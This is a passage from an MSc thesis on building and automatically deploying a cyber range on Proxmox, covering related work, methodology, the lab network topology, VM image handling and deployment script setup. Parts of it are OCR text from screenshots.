physical systems and as experimental sites for machine learning technologies. This represents a
continuously evolving field that adapts alongside technological advancements.

2.4.2 Towards NICE-by-Design Cybersecurity Learning Environments: A Cyber Range for SOC
Teams

This research [28] refers to the NICE [29] framework, which is developed by NIST and provides
a structured approach to cybersecurity education. It focuses on the absence of structured design
principles regarding cyber ranges and proposes a methodology that helps with the scenario
design and the environment evaluation procedure with the aim to assist in creating practical
cybersecurity scenarios.

2.4.3 Model-Driven Cyber Range Training: A Cyber Security Assurance Perspective

This paper [30] proposes a model-driven approach for Cyber Range Training that facilitates the
automated deployment of such environments, customized to a defined scenario using simulation
and emulation capabilities. It demonstrates training scenarios like phishing threats with various
difficulty levels and complexity.

2.4.4 CyRIS: a cyber range instantiation system for facilitating security training

This research [31] proposes a Cyber Range creation system that enables the automatic
preparation and management of cyber range environments specifically created for education
purposes. This tool adheres to the Technical Guide of the Information Security Testing and
Assessment of NIST [32]and it is also directly comparable to similar cyber range creation tools.

2.4.5 Cyber ranges and security testbeds: Scenarios, functions, tools and architecture

This article [33] emphasizes the importance of cybersecurity training as the primary line of
defense against cyber threats and crimes. It delineates two types of training, one that enhances
the skills and understanding of security professionals regarding current threats and mitigation
strategies, and another that aims to raise cybersecurity awareness among non-security
professionals. Cyber Range environments can provide the necessary facilities for executing
training scenarios and offer a practical space for trainees. The study develops a taxonomy for
cyber range systems and evaluates existing literature with a focus on architecture, scenarios,
capabilities, roles, tools, and evaluation criteria. The findings are intended to serve as a foundation
for future efforts in the development and evaluation of cyber ranges, aligning with established
best practices and insights from recent research and developments.

2.4.6 A Review of Cyber-Ranges and Testbeds: Current and Future Trends

This article [34] explores the significance of cyber situational awareness in enhancing the
understanding of threats and vulnerabilities within organizations, emphasizing how the level of
cyber-hygiene and existing processes determine exposure. It notes the increasing automation of
cyber-attacks and the consequent narrowing gap between information and operational
technologies, highlighting the urgent need to re-evaluate current security robustness against
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emerging cyber-attacks, trends, and mitigation strategies. It advocates for a deeper
characterization of security environments to predict future vulnerabilities and guide the
deployment of effective technologies while also underscores the importance of updating training
practices to aid decision-making for users and operators. Central to this training are Cyber-
Ranges (CRs) and Testbeds (TBs), which are pivotal in deepening the understanding of attack
evolutions and deploying effective countermeasures. The paper includes an evaluation of
documented CRs and TBs, classifying them by type, technology, threat scenarios, applications,
and training scope. Additionally, a developed taxonomy enhances the understanding of the future
directions of CRs and TBs, illustrating a diminishing differentiation between their application
areas, thereby broadening the scope of their implications and utility in cybersecurity.

2.4.7 National Cyber Range Overview

The National Cyber Range (NCR) [35], a Department of Defense (DoD) resource initially
established by DARPA and now managed by the Test Resource Management Center, offers a
specialized environment for cybersecurity testing across the development lifecycle of programs.
This paper discusses the functions and benefits of a cybersecurity range, detailing how it can be
used by program managers (PMs) to enhance cybersecurity resiliency. One of the primary
challenges the NCR addresses is creating a realistic test environment that accurately mimics the
scale and diversity of DoD's complex communication networks, thus providing a realistic
representation of potential cyber threats such as malware attacks, DDoS, and cross-site scripting.
By utilizing a combination of virtual machines, physical hardware, traffic emulation, vulnerability
scanning, and data capture tools, the NCR provides a high-fidelity, Internet-like test environment.
This setup, coupled with a structured test methodology, enables PMs to effectively assess and
improve the cybersecurity resiliency of their systems. The insights gained from utilizing the NCR
can help integrate cybersecurity measures early in the development process, potentially saving
costs and enhancing system robustness. The paper aims to inform DoD PMs about the NCR’s
resources and its applicability in testing and refining cyberspace resiliency.

Cyber Range Development: Configuration of
the Cyber Range Environment Network and Monitoring Tools

19



«Msc Thesis» Nikitas Makris
3. Methodology

As proven from numerous different approaches, it is challenging to create a framework where
Cyber Ranges of any type, from any source can be deployed on any target platform. This is
because there are too many types of deployments, variable sizes, and a plethora of hosting
platforms that may or may not be able to fully host and/or isolate them. Since each environment
has its own infrastructure with its own unique characteristics, any universal approach that treats
it as a single type of entity would simply fail.

To lay down the steps needed, the source environment and the source infrastructure must be
considered along with the recreation or copying chosen methods and the configuration that goes
with those. Also reserving the necessary resources, such as computing capacity, memory, storage
and storage bandwidth is very important to be taken care of prior to the deployment.

The methodology for implementing the pipeline for this thesis can be broken into the following
key steps:

1. Underlying Infrastructure Analysis

Ingesting the underlying infrastructure to the provisioning tools and applying
configurations

Deploying the newly created Cyber Range in the new hosting infrastructure
Deploying SIEM and logging mechanisms

Deploying BAS Solutions (Adversary Emulation)

Comparing attacks and alerts to identify gaps
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3.1 Methodology Steps Overview

Following the logical process of the cyber range deployment will help the procedure to become
easier to manage and maintain since it is segmented into smaller pieces. As stated, the process
includes analyzing the source environment, configuring and running the automated provisioning
tools, configuring monitoring and logging on the newly created cyber range, emulating attacks on
the environment and examining the generated logs to get information about the detection
mechanisms efficiency.

3.1.1 Underlying Infrastructure Analysis

Each environment has unique attributes like size, components interconnections, type of member
hosts etc. Each topology poses different challenges so each one or at least some specific types
of topologies must be configured accordingly. Typical environments can be segmented down to
scale where a single server host could host them using virtualization and, in those cases,
deployment is much easier due to their size, but there can be cases where huge amounts of
computing or storage capacity are needed, in which cases it poses serious challenges, especially
if dedicated hardware or different CPU architectures are involved. Besides this fact, typical
operating systems usually revolve around the x86 instruction set, which basically means that a
generic CPU like Intel or AMD can be used to instantiate them. Lately, there is a noticeable rise
in ARM or RISC usage, which in most cases refer to 10T devices, which has its own caveats due
to limited computing capabilities.

Until now, most of the vulnerabilities and exploits follow the most popular operating systems,
which plainly means it revolves around Microsoft Windows versions and Linux Operating
Systems. This does not mean that the rest of the device types or operating systems stay
unaffected, rather than stating the statistical values that indicate the best possible coverage of a
Cyber Range.

Following on the same logic, organizations must use systems that allow them to manage their
assets in a scalable and controlled manner, which in most cases translates into using LDAP
(Lightweight Directory Access Protocol) [36] or Microsoft Active Directory [37] solutions. This
added attack surface is a necessary risk but often is used to benefit organization intruders, often
because of misconfigurations, negligence or absence of systems maintenance. Additionally,
firewall/network appliances are used widely to secure the perimeter around the sensitive network
components, but each firewall/network device vendor may or may not provide different ways of
virtualizing or copying its appliances.

It is of paramount importance to document all the services and equipment that is included in each
environment, then establish the way that each node member can be cloned or redeployed, along
with its proper respective interconnections, because all these define the output cyber range
behavior.

3.1.2 Ingesting the underlying infrastructure to the provisioning tools and
applying configurations

When the source infrastructure has been broken down into distinct nodes with all their
interconnection attributes documented, it is now possible to choose a proper hosting platform,
along with the most suitable provisioning tool.
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If the size of the environment is small enough that can be hosted on a single node using
virtualization, many options are available from hosting on a physical device (or cluster of physical
devices) or in a Cloud Platform. This decision affects the provisioning tool that will be used to
deploy the cyber range, and it is based on the destination hosting platform limitations. For
example, Azure [19]can be provisioned by Terraform [22], but not Ansible where a Proxmox
Hypervisor [16] can be provisioned by Ansible [23] or Bash [24] and not Terraform [22].

Once a decision is made regarding the provisioning tool, the configuration of it must be done in a
modular manner so that it can accommodate any environmental changes that may occur in future
versions or updates.

3.1.3 Deploying the newly created Cyber Range in the new hosting
infrastructure

Creating a provisioning playbook configuration that allows redeployment of the same environment
as many times as required, running it once or twice does not guarantee re-producibility. It needs
to be run multiple times, so additional tweaking can be done, until maximum efficiency is achieved,
especially regarding deployment times.

The newly created Cyber Range should carefully be verified it functions exactly as intended or if
it is a one-to-one clone of the original, as the original environment, offering the same services and
having all the functionality included, possibly also with the same data.

3.1.4 Deploying SIEM and logging mechanisms

Despite if the original environment has monitoring or not, additional configurations must be made
to add the necessary monitoring. Logging mechanisms are not enabled by default, at least not in
the manner that allows the whole environment to have an overview of what is happening and
when. A basic syslog server or even better a complete SIEM System gets all the information from
each node member and builds an environment security posture, which provides much more
information that a single system could provide, such as attack paths and patterns.

3.1.5 Deploying BAS Solutions (Adversary Emulation)

After configuring a SIEM System, it is very important to test its functionality and efficiency. The
best way to trigger all these logging mechanisms is to emulate malicious behavior. Breach and
Attack Simulation (BAS) is basically adversary emulation, and such activity can be considered
from a scouting activity like network port scanning, up to brute force attacks or unauthorized
command execution (remote or local). There are some attacking frameworks that have pre-
configured attack patterns, that can trigger specific events and logs that can help SIEM Systems
to recognize known attack patterns.

3.1.6 Comparing attacks and alerts to identify gaps

Lastly, logs and events on a SIEM System are not very useful if any alerts based on them are not
configured. Optimization of the alerting mechanism on a SIEM System is as important as the
logging itself and must be carefully specified so that security events are not missed and at the
same time false positives are limited to the absolute minimum. Absence of alerting, or even worse,
of the logs themselves about a security event is one of the Cyber Range Monitoring Tweaking
objectives, so it provides feedback about improving the monitoring of the original production
environment.
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4. Implementation

The main objective of the current technical part of the report is to illustrate the way that a basic
cyber range environment can be deployed in a scriptable way. The current topology can be easily
changed and the whole environment can change according to the desired use case. The included
systems and topology implemented here aim to provide a baseline for a representative
environment and are also subject to change by changing the deployment script and/or the actual
system images. Also, the deployment target/host can change but for illustrative purposes
Proxmox Virtual Environment is chosen due to the simplicity and nature that characterizes it.

With automatic environment setup and content generation based on bash script, it facilitates
anyone to conduct security research or training with such a deployment with a very low fingerprint
on any host with virtualization capabilities.

While the whole deployment time depends on the number of virtual nodes to be deployed inside
the cyber range, ultimately the total deployment time is a little more than the time needed to copy
the nodes virtual images to the actual host. That depends always on many factors, but often the
two major bottlenecks are the network bandwidth between the host and the computer that
performs the deployment and the storage mediums speed on either side of them.

4.1 Underlying Infrastructure Analysis

The logic behind having an automated deployment of a Cyber Range environment is to facilitate
researchers to create clone instances of specific topologies that may or may not be able to be out
of production. The actual topologies, virtual resources and any vulnerabilities or security
measures in the cyber range are not within the automation deployment scope, but they can be
either variables within the deployed environment, or either configured by the researcher or the
original environment itself.

For maximum adjustability, the tools used for deployment must be versatile, so they can be used
for each iteration of the environment. There are many variables in such deployments regarding
the environment itself such as network number, network subnets, number of virtual nodes etc.
There are also variables that depend on the source, format and destination host and are not
directly related to the environment itself.

In cases where the environment target host allows it, regular bash scripting or automation tools
like Ansible can be solely used and are enough to provide this versatility. For example, Ansible
community offers many collections of automation templates that fit many hypervisors and can
deploy such an environment with minimum effort.

In cases of different target types, like cloud providers or proprietary hypervisors, different tools
may be required, which limits the extent of the deployment automation. For example, Terraform
is one of the tools that could be used to deploy a cyber range environment to a cloud provider like
Amazon Web Services (AWS) [18].

For the purposes of cyber range deployment demonstration, an example cyber range has been
created that aims to represent one of the most frequently used topologies seen in most corporate
networks that do not have access to advanced tools and hardware such as Next Generation
Firewall Appliances with Zero-trust policy etc. This is common among small to mid-size
organizations that do not have the financial capability to incorporate such devices or licensed
software, and this is often proven to be the reason behind many attacks and exploitations. On top
of that, such networks also are not equipped to monitor traffic among their member nodes, which
can pose additional issues in case of an intrusion as for what was the actual exploit, entry point,
attack path, etc.
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This example cyber range basic topology consists of four network segments (not including the
actual internet WAN segment):

WAN - Internet

vmbr0
pfsense.cyber.rmg
Username: admin
Password: systemadmin

vmbr4 192.168.2.1/24 - LAN 192.168.3.1/24 -DMZ  vmbr2

Windows User

102.168.2.2/24 %o Ubuntu OpenEMR Server
Member of WINS Domain ‘9’3‘ Usemame: systemadmin
Password: systemadmin
CYBER.RNG @’d\ Y
Username: User1 %
Password: Username1!!! =
&
AN
Windows Admininstration PC
192.168.4.2/24 - . Ubuntu Database-Server Windows Domain Controller
Member of WINS Domain 102.168.5.3/24 192.168.5.2/24
CYBERRNG n Username: systemadmin Username: Administrator
Username: Administrator Password: systemadmin Password: Systemadmin1!
Password: Systemadmin1!

Figure 2: Cyber Range Topology

- Server Room Segment

- Demilitarized Zone (DMZ) Segment
- IT Administration Segment

- Local Area Network (LAN) Segment

Usually, network segmentation can be done with classless subnets, implementation of VLANs or
even with VPNs (Virtual Private Networks) between the segments.

Also, a segment is not necessarily just one network. Additional routes can be implemented to
separate networks if needed further down the link, closer to the actual users. This is often proven
to be more scalable in larger networks that super-nets can include a group of networks etc. This
is because there are tiers of routers, with each tier routing everything, often called backbone or
core routers, then further down the distribution tier and finally the access tier. Not all networks
have the same topology, but this is a topology that can scale out easily with high resiliency and
availability features.

Regarding the cyber range hub and spoke topology, the center of the traffic is usually one
appliance that handles all the routing and firewalling, which depicts many organization networks
of that size tier. Each segment in the topology has a dedicated /24 network that greatly helps with
the configuration of the firewall rules. In this example environment, the Firewall Virtual Appliance
of choice is a pfSense Firewall Virtual Appliance that interconnects all the network segments, and
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it is the point where all the firewall rules are applied. Of course, any other piece of software that
can implement firewalling and routing can replace the pfSense instance, if it is not dependent on
specific hardware and has the driver support for virtualized hardware. Examples like these are
OpenWRT [38] Virtual Machines, OPNSense [39], Zentyal [40] etc.

4.1.1 Cyber Range Server Room Segment
Inside the Server Room segment there are:

- A Windows Server 2016 [41] Domain Controller
- An Ubuntu Server [42] with a MariaDB [43] Database Daemon

The firewall rules of pfSense allow in-band traffic to this segment only from:

- The Ubuntu Virtual Machine Web Server (OpenEMR [44]) to the database MariaDB [43]
port

- From Local Area Network Segment to the Windows Server 2016 [41] Domain Controller

- From the IT Administration Segment to the Windows Server 2016 [41] Domain
Controller

4.1.2 Cyber Range Demilitarized Zone Segment (DM2Z)
Inside the Demilitarized Zone Segment there is:

- An Ubuntu Server [42] Virtual Machine Web Server (running OpenEMR [44])
The firewall rules of pfSense [45] allow in-band traffic to this segment only from:

- From Local Area Network Segment
- From the IT Administration Segment
- From the Server Room Segment

Note: The Web Server (OpenEMR) is not to be reached from outside in that case, but from the
Users in the Local Area Network Segment. The segment is named Demilitarized Zone because
one can forward traffic to a publicly accessible Web Server, where in that case a Web Application
Firewall should be implemented. This can easily change with a firewall rule to allow traffic from
the WAN to the DMZ segment, but this varies depending on the actual testing and the default is
not to allow WAN traffic to the DMZ segment unless the administrator applies that change
manually. This is due to security concerns, because something like this could affect more than
the actual cyber range itself, including the hosting network.

4.1.3 Cyber Range IT Administration Segment
Inside the IT Administration Segment there is:
- AWindows 10 [46] Virtual Machine with Administrator privileges to the Domain

The firewall rules of pfSense [45] do not allow in-band traffic to this segment at all.

4.1.4 Cyber Range Local Area Network (LAN) Segment
Inside the Local Area Network Segment there is:
- AWindows 10 [46] 10 Virtual Machine with a Domain joined User with limited privileges.
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The firewall rules of pfSense [45] do not allow in-band traffic to this segment at all.

4.2 Ingesting the underlying infrastructure to the provisioning tools and
applying configurations

Because of the current hardware technology provides very high core densities which leads to the
ability of hosting many services in fewer servers, many services, nodes and even VDIs (Virtual
Desktop Interfaces) are extensively used virtual machines. Many providers, cloud and on-
premises, offer backup solutions, snapshots etc. that effectively are a one-to-one copy of the
actual virtual machines / services. This facilitates much more cyber range creation, because by
acquiring these snapshots one can deploy an accurate mirror of the actual production
infrastructure to a cyber range environment. While this is not always the target, because of
sensitive data traversing these virtual machines, it can be the most dependable approach for an
exact copy of a production topology.

Even though nested virtualization could be chosen for such kind of deployment, there are attacks
that are based on the responsiveness of the infrastructure. Services within the environment
should work as similar as possible to the original services, so researchers can expect responses
at the same time. A very good example of this type of behavior is a brute-force attacked system
that behaves wildly differently when it is out of resources causing it to obscure any vulnerability
that may lie underneath.

Therefore, a cyber range created for penetration testing needs to be, if possible, identical to the
original one. While, in most cases this is not possible, the way an environment like this deploys
can seriously impact the cyber range end results. Very good and financially feasible solutions to
this are either to have a subscription to a cloud provider with enough quota that can support these
environments or have a self-hosted environment like a server with an installed hypervisor that
has the required capacity.

For this implementation, a physical server with enough capacity with a Proxmox Hypervisor is
chosen because it provides good enough performance that renders the cyber range behavior
stable and predictable, as it was configured.

For the current cyber range implementation, there is a directory which contains all the disks in
compressed form of topology, along with the bridge configuration file needed for the host
hypervisor to setup the attached networks of the Virtual Machines. In the same directory there is
a bash script that leverages ssh (scp) to copy, uncompress and set up all the virtual machines
members of this Cyber Range.

Note: Proxmox API connectivity is available, but for script compatibility and adaptability reasons,
ssh connection is used instead. (APl accepts uncompressed qcow?2 image disks that force the
total transfer time

The example cyber range environment provided images directory has a size of 41GB and
contains 6 compressed Virtual Machines that are preconfigured as in the topology above (Figure
2) and contains most types of nodes that a small health center would have.

4.2.1 Cyber Range Deployment: Initial Image Generation

Generally, creating a custom environment is always a matter of combination of configuration,
architecture, interconnections and implementation choices. Already functional and deployed
environments are targeted by malicious actors; thus, these environments must have predictable
behavior regarding their defense and monitoring. This is the reason behind the necessity of
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creating automation tools and scripts that allow researchers to be able to clone them in a
controlled environment and conduct their research.

Since no cyber range environment exists, that can be used as an example, an initial deployment
must be done to create the original environment that will be cloned afterwards. This is done by
manually installing on a hypervisor all the Virtual Resources needed to create the cyber range
environment. This is a simple process that is out of the scope of this thesis, but it involves installing
a hypervisor of choice, in this case Proxmox, and going through the virtual machine creation
processes within the hypervisor.

After the virtual machines’ installations, an initial basic configuration and environment testing must
be done to be sure that the environment has the expected behavior. All the virtual machine images
can be downloaded from the hypervisor and stored for the automated re-deployment of the cyber
range later. Of course, the same applies if the virtual machines are already running in a production
environment, with the only difference being that instead of getting their storage images directly,
they must be Cloned and then Restored by using their snapshots into a different Virtual Machine
instance, probably on a separate node without interrupting the original virtual machines
themselves.

In the case of Proxmox hypervisor, which is based on QEMU KVM, the Web User Interface lists
all the registered virtual machines directly at the left of the dashboard. (Figure 3)

X PRO X MO X Virtual Environment 8.1.4 [ CreatevM @ CreateCT | & root@pam

Server View Virtual Machine 120 (pfsenseFW) on node pve’  [ER) # O Shutdown 3 Console
&= Datacenter
& Summary
B pve

> Console femory 4.00 GiB

3 Hardware €550rS 2 (1 sockets, 2 cores)

& Cloud-Init Default (SeaBIOS)

Default
© Options efaul
Default (1440fx)
B Task History
I Controller Default (LSI 53C895A)

@ Monilor

Hard Disk (virtio0) ZF 120/vm-120-disk-0.qcow?2 iothread=1 size=2G

B Backup Network Device (net0) virtio=BC:24:11:9D:0D:83 bridge=vmbr0

13 Replication Network Device (net1) virio=BC:24:11:8D:14:20 ,bridge=vmbr1
D Snapshots Network Device (net2) virtio=BC:24:11:BE:AA'A3 bridge=vmbr2

¥ Firewal virio=BC:24:11.0F :93.C4 bridge=vmbr3

=
B
-
%
8
a
=
=
=
=
=

Network Device (net4) virtio=BC:24:11:80.E8 A5 bridge=vmbr4
o' Permissions

) 117 (Backbox)

G2 120 (pfsenseFW) @
G} 121 (WinAdmin) @
J 122 (WinADC) @

. 123 (WinUser) @

« 124 (UbuntuDB) @

125 (UbuntuEMR) @
w247 (OPNSense)

Figure 3: Proxmox Web User Interface

4.2.2 Cyber Range Virtual Machines Image Extraction

The virtual machines images can be acquired from within the hypervisor via SFTP (SSH File
Transfer Protocol) and the specific download location of the Images depends on what storage
pool was selected at the time of the virtual machine creation. To get access to the SFTP Server
of a Proxmox [47] hypervisor, tools like WinSCP [48], Filezilla [49], Remmina [50], command-line
scp, etc. can be used. The default location of Proxmox [47] is the local storage which is located
under /var/lib/vz/images. (Figure 4)
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Remote site: | Svarflib/vz/images

= Taif

Filename Filesize Filetype Last modifi.. Permissi..  Owner/Gr...
123 File folder 26/2/2024 .. drwxrwx.. rootroot |
124 File folder 26/2/2024 .. drwxrwx. rootroot
125 File folder 26/2/2024 .. drwxrwx. rootroot

Figure 4: Proxmox Images Default Path

Note: Typically, in such deployments a different type of storage is used because using local
storage (boot drive) is limited to a single storage device that also contains the Operating System
of Proxmox itself and the only purpose of its existence is to facilitate migration tasks of images as
a transitioning medium or iso storage for virtual machine installation.

Usually, the types of storage used are local ZFS [51] pools or remote network attached storage
pools, where data reside on a different physical device that has disks arrays and/or Distributed
Storage that spreads across multiple nodes. This offers data redundancy, failure tolerance,
snapshots and when paired with high bandwidth networking it also performs much faster than a
typical local medium.

It this cyber range, a local ZFS [51] RAIDS pool is configured where all virtual machine images
reside in the same physical Proxmox node, and they are located under /Pool Name/images.
(Figure 5)
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Remote site: ‘ /Main/images

? lib

? libs4

? lost+found
B Main
- 2 dump

#- images

7 private

1.2 template

= ? media
Filename . Filesize Filetype Last modifi.. Permissi.. Owner/Gr...

101 File folder 11/3/2024 .. drwxr---— root root
102 File folder 11/3/2024 .. drwxr---—- root root
105 File folder 13/3/2024 arwsr----- root root
106 File folder 13/3/2024 .. drwxr----- root root
107 File folder 13/3/2024 .. drwxr----- root root
108 File folder 13/3/2024 .. drwxr---— root root
109 File folder 24/3/2024 .. drwxr---—- root root
110 File folder 31/3/2024 arwsr----- root root
111 File folder 31/3/2024 .. drwxr----- root root
112 File folder 31/3/2024 .. drwxr----- root root
113 File folder 31/3/2024 .. drwxr---— root root
114 File folder 31/3/2024 1&:3440w::-- root root
115 File folder 31/3/2024 Arwxr----- root root
116 File folder 31/3/2024 .. drwxr----- root root
117 File folder 31/3/2024 .. drwxr----- root root
120 File folder 28/2/2024 .. drwxrwx.. rootroot
121 File folder 27/2/2024 .. drwxrwx.. rootroot
122 File folder 27/2/2024 drnwxrwx.. root root
123 File folder 27/2/2024 .. drwxrwx.. rootroot
124 File folder 27/2/2024 .. drwxrwx.. rootroot
125 File folder 27/2/2024 .. drwxrwx.. rootroot

Figure 5: Proxmox ZFS Pool Image Path

This is provided after the ZFS [51] pool creation (ex. Main as the ZFS [51] pool name) a
Directory is created via the Datacenter — Storage menu, so the location can be registered to
Proxmox [16] as a valid location for hosting Virtual Machine images. This can be changed easily
through Proxmox [16] Ul under Datacenter — Storage menu (Figure 6).

Directol
Backup Retention

1D

Directory Maind

Conlent Disk imaga

Advanced

Figure 6: Proxmox Datacenter Storage Menu

Note: To avoid stopping the virtual machines Proxmox [16] offers the ability to clone the Virtual
Machines even in Running State without stopping them. Once the new virtual machine instance
is created it can be powered off and its storage image downloaded at a designated directory.

Note: it would be much more efficient if the created virtual machines images at the time of their
creation are configured with their image storage in the QEMU image format (qcow2) (Figure 7).
This allows any unused space to be compressed into the image file, so the final size of the image
is much smaller than it typically is.
In the case of an already existing environment this is not possible to change, and conversion can
take place to compress and reduce the image size. Since this environment is created for the sole
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purpose of copying it somewhere else, having the virtual images formatted as qcow?2 accelerates
the process.

Create: Virtual Machine

General (053 System Disks CPU

scsi0 o Disk  Bandwidth

Bus/Device: SCSl (1] Cache: Default (No cache)
SCSI Controller:  VirtlO SCSI single Discard:

Storage: ZFSPool 10 thread:

Disk size (GiB): 32

Format: mage format (qcow2)

———— Rawdisk image (raw)

SSD emulation QEMU image format Backup:

Read only: (geow2) Skip replication:
VMware image format
(vmdk)

Async 10- Default (io_uring)

Advanced

Figure 7: Proxmox Virtual Machine Storage Image Type

4.2.3 Cyber Range Image Conversion

Any production level environment that operates has some production level maintenance already
pre-configured. This maintenance allows the environmental components, like virtual machines or
storage drives, to be restored on the same on different hosts without impacting their services
availability. To be able to replicate a production environment like that, some processing must occur
to generate all the necessary files that enable one to clone it somewhere else, even if the
underlying infrastructure is designed differently.

The previously planned environment, for instance, could be either physical machines, virtual
machines hosted locally, or virtual machines hosted in some cloud provider. Depending on the
type and source host(s) that the environment resides in, conversions can take place to render the
cloned images importable to a different system.

Environment Source Case: Physical Machines

In the case of physical servers, each server requires a full cloned image of the whole operating
disk along with any attached-mounted data disk to be able to be cloned or restored, which usually
means that it needs to stop and power off during the cloning process, so tools like clonezilla or
similar can copy it. Often, such kinds of deployments have full backup services like Veeam, or
similar, which can provide seamless cloning of all the attached servers and can output into directly
flash capable images. These images then can be converted to virtual images using gemu-tools
so they can be imported into a new system. This will create a virtualized version twin of the
physical server hosted environment and then enable research on it.

Environment Source Case: Locally Hosted Virtualized Environment

In the case of locally hosted virtual machines, any platform like VMWare VCenter (ESXi [13]),
Hyper-V [14], Proxmox [16], XenServer [52], RedHat [17]etc. support image exporting which is
convertible using again gemu-tools. Also, copying running virtual machines is much easier
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because it requires no downtime, which makes the process much more attractive if the
environment available is of the essence.

Environment Source Case: Cloud Hosted Virtualized Environment

In the case of cloud hosted virtual machines all cloud providers offer Full Image Snapshots, which
are usually already preconfigured if the environment availability is important. These snapshots
can be exported to downloadable virtual images and the format depends on each cloud provider.
For example, for the major cloud providers the following applies:

- Azure can export virtual images into Vhd format (Hyper-V [14]) which can be converted
using gemu-tools

- IBM Cloud can export OVA and by extension Vmdk formatted images (VMWare
compatible) which can be converted using gemu-tools.

- Amazon Web Services can export virtual images to Vmdk, Vhd or raw format that can
be converted using the gemu-tools.

- Google cloud can export raw or virtual box compliant images which can be converted
using gemu-tools.

- Oracle Cloud can export in any virtual image format.

This renders any cloud hosted virtual machine infrastructure to be very easily cloned to any local
virtualization capable system seamlessly without affecting the original environment in any way.

4.2.4 Cyber Range Virtual Machines Image Compression

Regardless of the image file format, additional compression is needed if the total size of the cyber
range directory is easily deployable. One tool that is used extensively by the industry is 7zip [53],
which allows a very good compression ratio, especially in types of files like these. 7zip [53] can
be downloaded from https://www.7-zip.org/download.html and it is available on all platforms. For
instance, in Windows 10 after 7zip installation, it is available inside the native File Explorer (Figure

Open
PowerRename
Add to Favorites
Open with Code

Extract All...
Samsung Network PC Fax

1-4ip Open archive

Open archive
Extract files...
BExtract Here

Open with Bxtract to "pfsense\”
Test archive
Give access to .
Add to archive...
Copy as path i
Compress and email...
What's using this file?
Add to "pfsense_2.7z"
Share X
Compress to "pfsense_2.7z" and email
PowerRename
Add to "pfsense_2zip”
Restore previous versions ) 5
Compress to "pfsense_2zip" and email

Send to CRC SHA

Figure 8: 7zip Comprerssion Tool

Cyber Range Development: Configuration of
the Cyber Range Environment Network and Monitoring Tools

31


https://www.7-zip.org/download.html

«Msc Thesis» Nikitas Makris

4.2.5 Cyber Range Virtual Machines Template Extraction

Apart from the images, the virtual machines will have to be configured and interconnected the
same way they were originally. This means that each virtual machine has a configuration file out
of which all these attributes are pulled each time the virtual machine starts running. These
configuration files are in Proxmox under /etc/pve/qemu-server/VVM_ID.conf where VM_ID is an
incremental or (custom) number of the virtual machine as shown on the Proxmox User Interface.
(Figure 9)

: ZFSPool:121/vm-121-disk-0.raw,size=128K
achine: pc-g35-8.1
emory: 4096
eta: creation-gemu=8.1.5,ctime=1709065896
name: WinAdmin

net0: el1000=BC:24:11:4B:AR:90,bridge=vmbrl
ostype: winl0
scsi0: ZFSPool:121/vm-121-disk-1.raw,s5ize=52G
ihw: wvirtio-scsi-pci
: wuid=3ff0be77-7£23-4b6a-8274-157d085fd244

ags: test
mgenid: acc78cl5-51bc-4c64-80ff-e92321cae694

Figure 9: Proxmox Virtual Machine Configuration File

Note that all this data may have to be recorded or just be accessible inside the original host if re-
deployment issues are to be avoided. More often virtual machines are sensitive to the following:

- BIOS: This defines how the boot process of the Operating System will be once it starts

- EFIDisk: This depends on the BIOS method, and it is present only if BIOS is set to
OVMF.

- Networks: (net0, net1 ...) Each instance represents a network attached interface. Also,
some Operating Systems (ex. Windows) are sensitive to the type (ex. E1000 or VirtlO)
and MAC Address of the simulated virtual network instance, because the network
generation depends on profiles which depend on the MAC Addresses.

- Any other limitation that has to do with the minimum resources an operating system
requirement. For example, RHEL Linux and its derivatives need AES or host CPU type.

4.2.6 Cyber Range Virtual Machines Virtual Networks Configuration
Extraction

With All the above data, a network configuration can be generated to get the Proxmox host ready
to host a re-deployed cyber range. In case this Proxmox host has other networks, this network
configuration file can change accordingly in order to meet the new requirements. Such a
network configuration for Proxmox looks like this (Figure 10):
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bridges.conf X

C: > Users > Nikit > OneDrive > MSi rse ubjects > Thesis ange >

auto vmbri

iface vmbrl inet manual
bridge-ports none
bridge-stp off
bridge-fd @

auto vmbr2

iface vmbr2 inet manual
bridge-ports none
bridge-stp off
bridge-fd @

auto vmbr3

iface vmbr3 inet manual
bridge-ports none
bridge-stp off
bridge-fd @

auto vmbra

iface vmbr4a inet manual
bridge-ports none
bridge-stp off
bridge-fd @

Figure 10: Network Bridges Configuration File

Each vmbr instance represents a virtual bridge that may or may not be attached to a physical
interface. This provides the ability to have internal private virtual networks that provide
intercommunication between attached virtual machines, but not necessarily to the external
network.

By default, in Proxmox [16], vmbr0 is created upon installation and provides network access to
Proxmox [16] and it is associated with at least one physical network interface to do that. This
makes vmbr0 suitable for the emulation of providing WAN/Internet to the cyber range if cyber
range internet access is desirable.

In this example environment, the contents of bridge.conf (Figure 10) configuration are to be
appended to the hypervisor and create four additional virtual bridges:

Vmbr1 - That corresponds to the IT Segment
Vmbr2 - That corresponds to the DMZ Segment
Vmbr3 - That corresponds to the Server Segment
Vmbr4 - That corresponds to the LAN Segment

All four new virtual bridges do not attach to any physical interface and will just serve as isolated
virtual internal switches among the cyber range virtual machines.

The script though must check for existing virtual bridges to avoid any overwrites of existing
bridges. So additional networking checks are done through the script to ensure that the new virtual
bridges are used exclusively by the cyber range.

4.3 Deploying the newly created Cyber Range in the new hosting
infrastructure

The deployment target as stated above can be a local hypervisor, a personal computer with a
Type 2 Hypervisor like Virtual Box [11] , Hyper-V [14] or even a cloud provider. Any of these targets
require different handling regarding the deployment automation and this can vary significantly.
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For demonstration purposes, the deployment target is chosen to be Proxmox since it requires no
licensing as it is Open Source, no subscription fees and has the performance characteristics to
support something like this.

Since the cyber range deployment will span no more than one single host, there is no need to
use automation tools like Ansible. Using the previously compressed and extracted virtual machine
images, a bash script can be used to automate the deployment process of the cyber range to a
Proxmox [16] host. The result should be a twin environment of the original one for testing and
research.

4.3.1 Automation: Pre-configuration

Since the deployment Proxmox target can differ each time, there are some variables that need to
be set prior to running the script and are located within the script file itself. These variables are
dependent on things like network, storage devices, credentials etc. which are different on each
physical Server. Furthermore, the script ensures that sshpass is installed on the local system, so
it can use it to non-interactively use ssh password authentication to get access to the hypervisor.
While this is not recommended, it simplifies the scripting process, while ssh password-less
authentication can still be implemented later for security reasons.

4.3.2 Automation: Variables

Proxmox IP: The Proxmox reachable IP is the endpoint on which the script runs against, and it
is going to be the host of the new Cyber Range environment. (Figure 11)

proxmox_ip="192.168.2.9"
Figure 11: Automation Script-Proxmox Host Server IP

Proxmox User and Password: The root user credentials of that host because the necessary
privileges to change networking bridges and creating Virtual Machines requires elevated
privileges. (Figure 12)

Figure 12: Automation Script-Proxmox Credentials

Destination_dir and vm_storage: These depend on the type of storage that is designated to
store all the images of the virtual machines that are configured in the host prior to this script’s
execution. (Figure 13)

